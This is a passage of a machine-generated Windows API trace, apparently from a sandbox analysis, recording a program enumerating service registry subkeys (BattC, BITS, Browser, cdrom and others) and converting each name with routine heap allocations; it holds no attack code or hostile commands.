[0247.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0247.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.662] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0247.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0247.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.662] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0247.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0247.662] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.662] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.663] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0247.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0247.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.663] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0247.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0247.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.663] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0247.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0247.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.663] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.663] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0247.663] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0247.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.664] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0247.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0247.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.664] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0247.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0247.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.664] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0247.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0247.664] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.664] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.665] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0247.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0247.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.665] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0247.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0247.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.665] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0247.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0247.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.665] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.665] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0247.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.665] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0247.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.666] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0247.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0247.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.666] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0247.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0247.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.666] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0247.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0247.666] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.666] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.667] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0247.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0247.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.667] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0247.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0247.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.667] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0247.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0247.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.667] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.667] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0247.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.667] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0247.668] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.668] RtlFreeHeap (HeapHandle=0x2520000, 